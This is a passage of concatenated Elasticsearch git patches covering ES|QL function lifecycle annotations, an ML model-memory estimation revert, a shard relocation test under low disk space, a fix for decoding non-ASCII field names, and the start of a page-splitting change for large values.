diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/grouping/Categorize.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/grouping/Categorize.java
index 81ac52cad151d..570410c7a11c2 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/grouping/Categorize.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/grouping/Categorize.java
@@ -18,6 +18,8 @@
 import org.elasticsearch.xpack.esql.core.tree.Source;
 import org.elasticsearch.xpack.esql.core.type.DataType;
 import org.elasticsearch.xpack.esql.expression.function.Example;
+import org.elasticsearch.xpack.esql.expression.function.FunctionAppliesTo;
+import org.elasticsearch.xpack.esql.expression.function.FunctionAppliesToLifecycle;
 import org.elasticsearch.xpack.esql.expression.function.FunctionInfo;
 import org.elasticsearch.xpack.esql.expression.function.FunctionType;
 import org.elasticsearch.xpack.esql.expression.function.Param;
@@ -63,7 +65,10 @@ public class Categorize extends GroupingFunction.NonEvaluatableGroupingFunction
                 tag = "docsCategorize",
                 description = "This example categorizes server logs messages into categories and aggregates their counts. "
             ) },
-        type = FunctionType.GROUPING
+        type = FunctionType.GROUPING,
+        appliesTo = {
+            @FunctionAppliesTo(lifeCycle = FunctionAppliesToLifecycle.PREVIEW, version = "9.0"),
+            @FunctionAppliesTo(lifeCycle = FunctionAppliesToLifecycle.GA, version = "9.1") }
     )
     public Categorize(
         Source source,
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/Scalb.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/Scalb.java
index b23b2323d0498..ff07e1c71a4c6 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/Scalb.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/math/Scalb.java
@@ -20,6 +20,8 @@
 import org.elasticsearch.xpack.esql.core.type.DataType;
 import org.elasticsearch.xpack.esql.core.util.NumericUtils;
 import org.elasticsearch.xpack.esql.expression.function.Example;
+import org.elasticsearch.xpack.esql.expression.function.FunctionAppliesTo;
+import org.elasticsearch.xpack.esql.expression.function.FunctionAppliesToLifecycle;
 import org.elasticsearch.xpack.esql.expression.function.FunctionInfo;
 import org.elasticsearch.xpack.esql.expression.function.Param;
 import org.elasticsearch.xpack.esql.expression.function.scalar.EsqlScalarFunction;
@@ -40,11 +42,16 @@ public class Scalb extends EsqlScalarFunction {
     private final Expression d;
     private final Expression scaleFactor;
 
-    @FunctionInfo(returnType = "double", description = """
-        Returns the result of `d * 2 ^ scaleFactor`,
-        Similar to Java's `scalb` function. Result is rounded as if
-        performed by a single correctly rounded floating-point multiply
-        to a member of the double value set.""", examples = @Example(file = "floats", tag = "scalb"))
+    @FunctionInfo(
+        returnType = "double",
+        description = """
+            Returns the result of `d * 2 ^ scaleFactor`,
+            Similar to Java's `scalb` function. Result is rounded as if
+            performed by a single correctly rounded floating-point multiply
+            to a member of the double value set.""",
+        examples = @Example(file = "floats", tag = "scalb"),
+        appliesTo = { @FunctionAppliesTo(lifeCycle = FunctionAppliesToLifecycle.GA, version = "9.1.0") }
+    )
 
     public Scalb(
         Source source,

From 39994fce167eff5472cc20922e1ba594426ce96a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Iv=C3=A1n=20Cea=20Fontenla?= <ivancea96@outlook.com>
Date: Mon, 28 Jul 2025 13:00:24 +0200
Subject: [PATCH 244/299] ESQL: Fix AbstractPageMappingOperator Status
 deserialization (#131820)

Manual 9.1 partial backport, extracted from https://github.com/elastic/elasticsearch/pull/131474
---
 .../compute/operator/AbstractPageMappingToIteratorOperator.java | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingToIteratorOperator.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingToIteratorOperator.java
index 09960a9c48e65..491885d5fae72 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingToIteratorOperator.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/AbstractPageMappingToIteratorOperator.java
@@ -202,7 +202,7 @@ public static class Status implements Operator.Status {
         public static final NamedWriteableRegistry.Entry ENTRY = new NamedWriteableRegistry.Entry(
             Operator.Status.class,
             "page_mapping_to_iterator",
-            AbstractPageMappingOperator.Status::new
+            Status::new
         );
 
         private final long processNanos;

From adc11860e8fc9ccc6af55e137bd2cf9e078a1adf Mon Sep 17 00:00:00 2001
From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com>
Date: Mon, 28 Jul 2025 13:06:25 +0200
Subject: [PATCH 245/299] [ML] Prevent the trained model deployment memory
 estimation from double-counting allocations. (#131990) (#131995)

This reverts commit 971cfb9.

The refactoring in 971cfb9 introduced a bug that could potentially lead to double-counting of the number of allocations in the trained model memory estimation.
---
 docs/changelog/131990.yaml                         |  6 ++++++
 .../TrainedModelAssignmentRebalancer.java          | 10 +++++++---
 .../planning/AbstractPreserveAllocations.java      |  3 ++-
 .../assignment/planning/AssignmentPlan.java        | 14 +++++++-------
 .../planning/RandomizedAssignmentRounding.java     |  2 ++
 .../planning/ZoneAwareAssignmentPlanner.java       | 12 +++++++++---
 6 files changed, 33 insertions(+), 14 deletions(-)
 create mode 100644 docs/changelog/131990.yaml

diff --git a/docs/changelog/131990.yaml b/docs/changelog/131990.yaml
new file mode 100644
index 0000000000000..29d9f620006ae
--- /dev/null
+++ b/docs/changelog/131990.yaml
@@ -0,0 +1,6 @@
+pr: 131990
+summary: Prevent the trained model deployment memory estimation from double-counting
+  allocations
+area: Machine Learning
+type: bug
+issues: []
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancer.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancer.java
index 7d3cb71d4dc03..b59c3e99f0741 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancer.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancer.java
@@ -140,9 +140,13 @@ private static void copyAssignments(
             for (Map.Entry<AssignmentPlan.Node, Integer> assignment : nodeAssignments.entrySet()) {
                 AssignmentPlan.Node originalNode = originalNodeById.get(assignment.getKey().id());
                 dest.assignModelToNode(m, originalNode, assignment.getValue());
-                // As the node has all its available memory we need to manually account memory of models with
-                // current allocations.
-                dest.accountMemory(m, originalNode);
+                if (m.currentAllocationsByNodeId().containsKey(originalNode.id())) {
+                    // TODO (#101612) requiredMemory should be calculated by the AssignmentPlan.Builder
+                    // As the node has all its available memory we need to manually account memory of models with
+                    // current allocations.
+                    long requiredMemory = m.estimateMemoryUsageBytes(m.currentAllocationsByNodeId().get(originalNode.id()));
+                    dest.accountMemory(m, originalNode, requiredMemory);
+                }
             }
         }
     }
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AbstractPreserveAllocations.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AbstractPreserveAllocations.java
index 5331821df0ad5..8a0bbe2ecdd5e 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AbstractPreserveAllocations.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AbstractPreserveAllocations.java
@@ -70,7 +70,7 @@ Deployment modifyModelPreservingPreviousAssignments(Deployment m) {
     AssignmentPlan mergePreservedAllocations(AssignmentPlan assignmentPlan) {
         // As the model/node objects the assignment plan are the modified ones,
         // they will not match the models/nodes members we have in this class.
-        // Therefore, we build a lookup table based on the ids, so we can merge the plan
+        // Therefore, we build a lookup table based on the ids so we can merge the plan
         // with its preserved allocations.
         final Map<Tuple<String, String>, Integer> plannedAssignmentsByDeploymentNodeIdPair = new HashMap<>();
         for (Deployment d : assignmentPlan.deployments()) {
@@ -85,6 +85,7 @@ AssignmentPlan mergePreservedAllocations(AssignmentPlan assignmentPlan) {
 
         AssignmentPlan.Builder mergedPlanBuilder = AssignmentPlan.builder(nodes, deployments);
         for (Node n : nodes) {
+            // TODO (#101612) Should the first loop happen in the builder constructor?
             for (Deployment deploymentAllocationsToPreserve : deployments) {
 
                 // if the model m is already allocated on the node n and I want to preserve this allocation
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlan.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlan.java
index 21e4a926a3247..a8eb3bea499a1 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlan.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlan.java
@@ -424,7 +424,8 @@ public Builder assignModelToNode(Deployment deployment, Node node, int allocatio
             if (allocations <= 0) {
                 return this;
             }
-            if (requiredMemory > remainingNodeMemory.get(node)) {
+            if (/*isAlreadyAssigned(deployment, node) == false
+                &&*/ requiredMemory > remainingNodeMemory.get(node)) {
                 throw new IllegalArgumentException(
                     "not enough memory on node ["
                         + node.id()
@@ -470,14 +471,13 @@ private static int getCurrentAllocations(Deployment m, Node n) {
         }
 
         public void accountMemory(Deployment m, Node n) {
-            if (m.currentAllocationsByNodeId().containsKey(n.id())) {
-                int allocations = m.currentAllocationsByNodeId().get(n.id());
-                long requiredMemory = m.estimateMemoryUsageBytes(allocations);
-                accountMemory(m, n, requiredMemory);
-            }
+            // TODO (#101612) remove or refactor unused method
+            long requiredMemory = getDeploymentMemoryRequirement(m, n, getCurrentAllocations(m, n));
+            accountMemory(m, n, requiredMemory);
         }
 
-        private void accountMemory(Deployment m, Node n, long requiredMemory) {
+        public void accountMemory(Deployment m, Node n, long requiredMemory) {
+            // TODO (#101612) computation of required memory should be done internally
             remainingNodeMemory.computeIfPresent(n, (k, v) -> v - requiredMemory);
             if (remainingNodeMemory.containsKey(n) && remainingNodeMemory.get(n) < 0) {
                 throw new IllegalArgumentException("not enough memory on node [" + n.id() + "] to assign model [" + m.deploymentId() + "]");
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/RandomizedAssignmentRounding.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/RandomizedAssignmentRounding.java
index 81696cd20d922..8bdc99998a0c2 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/RandomizedAssignmentRounding.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/RandomizedAssignmentRounding.java
@@ -310,6 +310,8 @@ private void unassignOversizedModels(Node n) {
         private AssignmentPlan toPlan() {
             AssignmentPlan.Builder builder = AssignmentPlan.builder(nodes, deployments);
             for (Map.Entry<Tuple<AssignmentPlan.Deployment, Node>, Integer> assignment : tryAssigningRemainingCores().entrySet()) {
+                // TODO (#101612) The model should be assigned to the node only when it is possible. This means, that canAssign should be
+                // integrated into the assignModelToNode.
                 if (builder.canAssign(assignment.getKey().v1(), assignment.getKey().v2(), assignment.getValue())) {
                     builder.assignModelToNode(assignment.getKey().v1(), assignment.getKey().v2(), assignment.getValue());
                 }
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlanner.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlanner.java
index ff564e16becc0..50684cfc6a416 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlanner.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlanner.java
@@ -200,9 +200,15 @@ private AssignmentPlan swapOriginalModelsInPlan(
             for (Map.Entry<Node, Integer> assignment : nodeAssignments.entrySet()) {
                 Node originalNode = originalNodeById.get(assignment.getKey().id());
                 planBuilder.assignModelToNode(originalDeployment, originalNode, assignment.getValue());
-                // As the node has all its available memory we need to manually account memory of models with
-                // current allocations.
-                planBuilder.accountMemory(originalDeployment, originalNode);
+                if (originalDeployment.currentAllocationsByNodeId().containsKey(originalNode.id())) {
+                    // TODO (#101612) requiredMemory should be calculated by the AssignmentPlan.Builder
+                    // As the node has all its available memory we need to manually account memory of models with
+                    // current allocations.
+                    long requiredMemory = originalDeployment.estimateMemoryUsageBytes(
+                        originalDeployment.currentAllocationsByNodeId().get(originalNode.id())
+                    );
+                    planBuilder.accountMemory(m, originalNode, requiredMemory);
+                }
             }
         }
         return planBuilder.build();

From caeae5c8f599a719a15e21340cf8ab2136c3bbdc Mon Sep 17 00:00:00 2001
From: Albert Zaharovits <email+github@zalbert.me>
Date: Mon, 28 Jul 2025 16:27:34 +0300
Subject: [PATCH 246/299] [9.1] Add TEST MergeWithLowDiskSpaceIT
 testRelocationWhileForceMerging (#131767) (#131778)

* Add TEST MergeWithLowDiskSpaceIT testRelocationWhileForceMerging (#131767)

This adds a test that covers relocation for shards that are running a
force merge.

Relates https://github.com/elastic/elasticsearch/issues/93503

* Fix MergeWithLowDiskSpaceIT testRelocationWhileForceMerging (#131806)

The index settings are randomized in the test, but this test suite doesn't work when indices have a custom data path.
---
 .../index/engine/MergeWithLowDiskSpaceIT.java | 123 ++++++++++++++++++
 1 file changed, 123 insertions(+)

diff --git a/server/src/internalClusterTest/java/org/elasticsearch/index/engine/MergeWithLowDiskSpaceIT.java b/server/src/internalClusterTest/java/org/elasticsearch/index/engine/MergeWithLowDiskSpaceIT.java
index 7a76872c27a54..ff1dde7ed5572 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/index/engine/MergeWithLowDiskSpaceIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/index/engine/MergeWithLowDiskSpaceIT.java
@@ -10,16 +10,23 @@
 package org.elasticsearch.index.engine;
 
 import org.elasticsearch.action.ActionFuture;
+import org.elasticsearch.action.admin.cluster.health.ClusterHealthResponse;
 import org.elasticsearch.action.admin.cluster.node.stats.NodeStats;
 import org.elasticsearch.action.admin.cluster.node.stats.NodesStatsResponse;
+import org.elasticsearch.action.admin.cluster.reroute.ClusterRerouteUtils;
+import org.elasticsearch.action.admin.indices.segments.IndicesSegmentResponse;
 import org.elasticsearch.action.admin.indices.segments.ShardSegments;
 import org.elasticsearch.action.admin.indices.stats.IndicesStatsResponse;
 import org.elasticsearch.action.support.broadcast.BroadcastResponse;
 import org.elasticsearch.cluster.DiskUsageIntegTestCase;
 import org.elasticsearch.cluster.metadata.IndexMetadata;
+import org.elasticsearch.cluster.metadata.Metadata;
 import org.elasticsearch.cluster.routing.allocation.DiskThresholdSettings;
+import org.elasticsearch.cluster.routing.allocation.command.MoveAllocationCommand;
+import org.elasticsearch.common.Priority;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.common.util.concurrent.EsExecutors;
+import org.elasticsearch.core.TimeValue;
 import org.elasticsearch.index.IndexNotFoundException;
 import org.elasticsearch.indices.IndicesService;
 import org.elasticsearch.plugins.Plugin;
@@ -33,16 +40,20 @@
 import java.util.Collection;
 import java.util.List;
 import java.util.Locale;
+import java.util.concurrent.TimeUnit;
 import java.util.stream.IntStream;
 
 import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
 import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertNoFailures;
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.iterableWithSize;
 import static org.hamcrest.Matchers.lessThan;
+import static org.hamcrest.Matchers.not;
 
 @ESIntegTestCase.ClusterScope(scope = ESIntegTestCase.Scope.TEST, numDataNodes = 0)
 public class MergeWithLowDiskSpaceIT extends DiskUsageIntegTestCase {
+    private final TimeValue ACCEPTABLE_RELOCATION_TIME = new TimeValue(5, TimeUnit.MINUTES);
     protected static long MERGE_DISK_HIGH_WATERMARK_BYTES;
 
     @BeforeClass
@@ -266,6 +277,118 @@ public void testForceMergeIsBlockedThenUnblocked() throws Exception {
         assertAcked(indicesAdmin().prepareDelete(indexName).get());
     }
 
+    public void testRelocationWhileForceMerging() throws Exception {
+        final String node1 = internalCluster().startNode();
+        ensureStableCluster(1);
+        setTotalSpace(node1, Long.MAX_VALUE);
+        String indexName = randomAlphaOfLength(10).toLowerCase(Locale.ROOT);
+        createIndex(
+            indexName,
+            Settings.builder().put(IndexMetadata.SETTING_NUMBER_OF_REPLICAS, 0).put(IndexMetadata.SETTING_NUMBER_OF_SHARDS, 1).build()
+        );
+        // get current disk space usage (for all indices on the node)
+        IndicesStatsResponse stats = indicesAdmin().prepareStats().clear().setStore(true).get();
+        long usedDiskSpaceAfterIndexing = stats.getTotal().getStore().sizeInBytes();
+        // restrict the total disk space such that the next merge does not have sufficient disk space
+        long insufficientTotalDiskSpace = usedDiskSpaceAfterIndexing + MERGE_DISK_HIGH_WATERMARK_BYTES - randomLongBetween(1L, 10L);
+        setTotalSpace(node1, insufficientTotalDiskSpace);
+        // node stats' FS stats should report that there is insufficient disk space available
+        assertBusy(() -> {
+            NodesStatsResponse nodesStatsResponse = client().admin().cluster().prepareNodesStats().setFs(true).get();
+            assertThat(nodesStatsResponse.getNodes().size(), equalTo(1));
+            NodeStats nodeStats = nodesStatsResponse.getNodes().get(0);
+            assertThat(nodeStats.getFs().getTotal().getTotal().getBytes(), equalTo(insufficientTotalDiskSpace));
+            assertThat(nodeStats.getFs().getTotal().getAvailable().getBytes(), lessThan(MERGE_DISK_HIGH_WATERMARK_BYTES));
+        });
+        int indexingRounds = randomIntBetween(5, 10);
+        while (indexingRounds-- > 0) {
+            indexRandom(
+                true,
+                true,
+                true,
+                false,
+                IntStream.range(1, randomIntBetween(5, 10))
+                    .mapToObj(i -> prepareIndex(indexName).setSource("field", randomAlphaOfLength(50)))
+                    .toList()
+            );
+        }
+        // the max segments argument makes it a blocking call
+        ActionFuture<BroadcastResponse> forceMergeBeforeRelocationFuture = indicesAdmin().prepareForceMerge(indexName)
+            .setMaxNumSegments(1)
+            .execute();
+        ThreadPoolMergeExecutorService threadPoolMergeExecutorService = internalCluster().getInstance(IndicesService.class, node1)
+            .getThreadPoolMergeExecutorService();
+        TestTelemetryPlugin testTelemetryPlugin = getTelemetryPlugin(node1);
+        assertBusy(() -> {
+            // merge executor says merging is blocked due to insufficient disk space while there is a single merge task enqueued
+            assertThat(threadPoolMergeExecutorService.getMergeTasksQueueLength(), equalTo(1));
+            assertTrue(threadPoolMergeExecutorService.isMergingBlockedDueToInsufficientDiskSpace());
+            // telemetry says that there are indeed some segments enqueued to be merged
+            testTelemetryPlugin.collect();
+            assertThat(
+                testTelemetryPlugin.getLongGaugeMeasurement(MergeMetrics.MERGE_SEGMENTS_QUEUED_USAGE).getLast().getLong(),
+                greaterThan(0L)
+            );
+            // but still no merges are currently running
+            assertThat(
+                testTelemetryPlugin.getLongGaugeMeasurement(MergeMetrics.MERGE_SEGMENTS_RUNNING_USAGE).getLast().getLong(),
+                equalTo(0L)
+            );
+            // indices stats also says that no merge is currently running (blocked merges are NOT considered as "running")
+            IndicesStatsResponse indicesStatsResponse = client().admin().indices().prepareStats(indexName).setMerge(true).get();
+            long currentMergeCount = indicesStatsResponse.getIndices().get(indexName).getPrimaries().merge.getCurrent();
+            assertThat(currentMergeCount, equalTo(0L));
+        });
+        // the force merge call is still blocked
+        assertFalse(forceMergeBeforeRelocationFuture.isCancelled());
+        assertFalse(forceMergeBeforeRelocationFuture.isDone());
+        // merge executor still confirms merging is blocked due to insufficient disk space
+        assertTrue(threadPoolMergeExecutorService.isMergingBlockedDueToInsufficientDiskSpace());
+        IndicesSegmentResponse indicesSegmentResponseBeforeRelocation = indicesAdmin().prepareSegments(indexName).get();
+        // the index should have more than 1 segments at this stage
+        assertThat(
+            indicesSegmentResponseBeforeRelocation.getIndices().get(indexName).iterator().next().shards()[0].getSegments(),
+            iterableWithSize(greaterThan(1))
+        );
+        // start another node
+        final String node2 = internalCluster().startNode();
+        ensureStableCluster(2);
+        setTotalSpace(node2, Long.MAX_VALUE);
+        // relocate the shard from node1 to node2
+        ClusterRerouteUtils.reroute(client(), new MoveAllocationCommand(indexName, 0, node1, node2, Metadata.DEFAULT_PROJECT_ID));
+        ClusterHealthResponse clusterHealthResponse = clusterAdmin().prepareHealth(TEST_REQUEST_TIMEOUT)
+            .setWaitForEvents(Priority.LANGUID)
+            .setWaitForNoRelocatingShards(true)
+            .setTimeout(ACCEPTABLE_RELOCATION_TIME)
+            .get();
+        assertThat(clusterHealthResponse.isTimedOut(), equalTo(false));
+        // the force merge call is now unblocked
+        assertBusy(() -> {
+            assertTrue(forceMergeBeforeRelocationFuture.isDone());
+            assertFalse(forceMergeBeforeRelocationFuture.isCancelled());
+        });
+        // there is some merging going on in the {@code PostRecoveryMerger} after recovery, but that's not guaranteeing us a single segment,
+        // so let's trigger a force merge to 1 segment again (this one should succeed promptly)
+        indicesAdmin().prepareForceMerge(indexName).setMaxNumSegments(1).get();
+        IndicesSegmentResponse indicesSegmentResponseAfterRelocation = indicesAdmin().prepareSegments(indexName).get();
+        // assert there's only one segment now
+        assertThat(
+            indicesSegmentResponseAfterRelocation.getIndices().get(indexName).iterator().next().shards()[0].getSegments(),
+            iterableWithSize(1)
+        );
+        // also assert that the shard was indeed moved to a different node
+        assertThat(
+            indicesSegmentResponseAfterRelocation.getIndices().get(indexName).iterator().next().shards()[0].getShardRouting()
+                .currentNodeId(),
+            not(
+                equalTo(
+                    indicesSegmentResponseBeforeRelocation.getIndices().get(indexName).iterator().next().shards()[0].getShardRouting()
+                        .currentNodeId()
+                )
+            )
+        );
+    }
+
     public void setTotalSpace(String dataNodeName, long totalSpace) {
         getTestFileStore(dataNodeName).setTotalSpace(totalSpace);
         refreshClusterInfo();

From 9db57f0c75bde1f19e464ec42d21d855155a1988 Mon Sep 17 00:00:00 2001
From: Jordan Powers <jordan.powers@elastic.co>
Date: Mon, 28 Jul 2025 10:50:27 -0700
Subject: [PATCH 247/299] Fix decoding of non-ascii field names in ignored
 source (#132018) (#132029)

When encoding an ignored source entry, we write the string length of the
field name, not the encoded byte count; however, the decode logic treats
this encoded value as the byte length. This patch updates the decode logic
to instead properly treat the value as the string length.
---
 docs/changelog/132018.yaml                            |  5 +++++
 .../index/mapper/IgnoredSourceFieldMapper.java        |  8 ++++++--
 .../index/mapper/IgnoredSourceFieldMapperTests.java   | 11 +++++++++++
 3 files changed, 22 insertions(+), 2 deletions(-)
 create mode 100644 docs/changelog/132018.yaml

diff --git a/docs/changelog/132018.yaml b/docs/changelog/132018.yaml
new file mode 100644
index 0000000000000..9032707df8542
--- /dev/null
+++ b/docs/changelog/132018.yaml
@@ -0,0 +1,5 @@
+pr: 132018
+summary: Fix decoding of non-ascii field names in ignored source
+area: Mapping
+type: bug
+issues: []
diff --git a/server/src/main/java/org/elasticsearch/index/mapper/IgnoredSourceFieldMapper.java b/server/src/main/java/org/elasticsearch/index/mapper/IgnoredSourceFieldMapper.java
index d8d8200baac31..812192d79cdce 100644
--- a/server/src/main/java/org/elasticsearch/index/mapper/IgnoredSourceFieldMapper.java
+++ b/server/src/main/java/org/elasticsearch/index/mapper/IgnoredSourceFieldMapper.java
@@ -181,8 +181,12 @@ static NameValue decode(Object field) {
         int encodedSize = ByteUtils.readIntLE(bytes, 0);
         int nameSize = encodedSize % PARENT_OFFSET_IN_NAME_OFFSET;
         int parentOffset = encodedSize / PARENT_OFFSET_IN_NAME_OFFSET;
-        String name = new String(bytes, 4, nameSize, StandardCharsets.UTF_8);
-        BytesRef value = new BytesRef(bytes, 4 + nameSize, bytes.length - nameSize - 4);
+
+        String decoded = new String(bytes, 4, bytes.length - 4, StandardCharsets.UTF_8);
+        String name = decoded.substring(0, nameSize);
+        int nameByteCount = name.getBytes(StandardCharsets.UTF_8).length;
+
+        BytesRef value = new BytesRef(bytes, 4 + nameByteCount, bytes.length - nameByteCount - 4);
         return new NameValue(name, parentOffset, value, null);
     }
 
diff --git a/server/src/test/java/org/elasticsearch/index/mapper/IgnoredSourceFieldMapperTests.java b/server/src/test/java/org/elasticsearch/index/mapper/IgnoredSourceFieldMapperTests.java
index 11e2305838705..423811c9e22a2 100644
--- a/server/src/test/java/org/elasticsearch/index/mapper/IgnoredSourceFieldMapperTests.java
+++ b/server/src/test/java/org/elasticsearch/index/mapper/IgnoredSourceFieldMapperTests.java
@@ -10,12 +10,14 @@
 package org.elasticsearch.index.mapper;
 
 import org.apache.lucene.index.DirectoryReader;
+import org.elasticsearch.common.Strings;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.core.CheckedConsumer;
 import org.elasticsearch.core.Nullable;
 import org.elasticsearch.search.lookup.SourceFilter;
 import org.elasticsearch.test.FieldMaskingReader;
 import org.elasticsearch.xcontent.XContentBuilder;
+import org.elasticsearch.xcontent.json.JsonXContent;
 import org.hamcrest.Matchers;
 import org.junit.Before;
 
@@ -123,6 +125,15 @@ public void testIgnoredString() throws IOException {
         );
     }
 
+    public void testIgnoredStringFullUnicode() throws IOException {
+        String value = randomUnicodeOfCodepointLengthBetween(5, 20);
+        String fieldName = randomUnicodeOfCodepointLength(5);
+
+        String expected = Strings.toString(JsonXContent.contentBuilder().startObject().field(fieldName, value).endObject());
+
+        assertEquals(expected, getSyntheticSourceWithFieldLimit(b -> b.field(fieldName, value)));
+    }
+
     public void testIgnoredInt() throws IOException {
         int value = randomInt();
         assertEquals("{\"my_value\":" + value + "}", getSyntheticSourceWithFieldLimit(b -> b.field("my_value", value)));

From 8e515126b0a3d519bd2d95be31deaadef0c0bbc8 Mon Sep 17 00:00:00 2001
From: Nik Everett <nik9000@gmail.com>
Date: Mon, 28 Jul 2025 16:13:25 -0400
Subject: [PATCH 248/299] ESQL: Split large pages on load sometimes (#131053)
 (#132033)

This adds support for splitting `Page`s of large values when loading
from single segment, non-descending hits. This is hottest code path as
it's how we load data for aggregation. So! We had to make very very very
sure this doesn't slow down the fast path of loading doc values.

Caveat - this only defends against loading large values via the
row-by-row load mechanism that we use for stored fields and _source.
That covers the most common kinds of large values - mostly `text` and
geo fields. If we need to split further on docs values, we'll have to
invent something for them specifically. For now, just row-by-row.

This works by flipping the order in which we load row-by-row and
column-at-a-time values. Previously we loaded all column-at-a-time
values first because that was simpler. Then we loaded all of the
row-by-row values. Now we save the column-at-a-time values and instead
load row-by-row until the `Page`'s estimated size is larger than a "jumbo"
size which defaults to a megabyte.

Once we load enough rows that we estimate the page is "jumbo", we then
stop loading rows. The Page will look like this:

```
| txt1 | int | txt2 | long | double |
|------|-----|------|------|--------|
| XXXX |     | XXXX |      |        |
| XXXX |     | XXXX |      |        |
| XXXX |     | XXXX |      |        |
| XXXX |     | XXXX |      |        |
| XXXX |     | XXXX |      |        |
| XXXX |     | XXXX |      |        | <-- after loading this row
|      |     |      |      |        |     we crossed to "jumbo" size
|      |     |      |      |        |
|      |     |      |      |        |
|      |     |      |      |        | <-- these rows are entirely empty
|      |     |      |      |        |
|      |     |      |      |        |
```

Then we chop the page to the last row:
```
| txt1 | int | txt2 | long | double |
|------|-----|------|------|--------|
| XXXX |     | XXXX |      |        |
| XXXX |     | XXXX |      |        |
| XXXX |     | XXXX |      |        |
| XXXX |     | XXXX |      |        |
| XXXX |     | XXXX |      |        |
| XXXX |     | XXXX |      |        |
```

Then fill in the column-at-a-time columns:
```
| txt1 | int | txt2 | long | double |
|------|-----|------|------|--------|
| XXXX |   1 | XXXX |   11 |    1.0 |
| XXXX |   2 | XXXX |   22 |   -2.0 |
| XXXX |   3 | XXXX |   33 |    1e9 |
| XXXX |   4 | XXXX |   44 |    913 |
| XXXX |   5 | XXXX |   55 | 0.1234 |
| XXXX |   6 | XXXX |   66 | 3.1415 |
```

And then we return *that* `Page`. On the next `Driver` iteration we
start from where we left off.
---
 benchmarks/README.md                          |   5 +-
 .../esql/ValuesSourceReaderBenchmark.java     |   7 ++
 docs/changelog/131053.yaml                    |   5 +
 .../AbstractShapeGeometryFieldMapper.java     |   6 +-
 .../index/mapper/BlockDocValuesReader.java    |  86 ++++++-------
 .../index/mapper/BlockLoader.java             |  18 +--
 .../BooleanScriptBlockDocValuesReader.java    |   6 +-
 .../DateScriptBlockDocValuesReader.java       |   6 +-
 .../DoubleScriptBlockDocValuesReader.java     |   6 +-
 .../mapper/IpScriptBlockDocValuesReader.java  |   6 +-
 .../KeywordScriptBlockDocValuesReader.java    |   6 +-
 .../LongScriptBlockDocValuesReader.java       |   6 +-
 ...AbstractShapeGeometryFieldMapperTests.java |   2 +-
 .../index/mapper/BlockSourceReaderTests.java  |   2 +-
 .../mapper/BooleanScriptFieldTypeTests.java   |   3 +-
 .../mapper/DateScriptFieldTypeTests.java      |   3 +-
 .../mapper/DoubleScriptFieldTypeTests.java    |   3 +-
 .../index/mapper/IpScriptFieldTypeTests.java  |   3 +-
 .../mapper/KeywordScriptFieldTypeTests.java   |   3 +-
 .../mapper/LongScriptFieldTypeTests.java      |   3 +-
 .../xpack/esql/heap_attack/Clusters.java      |   1 +
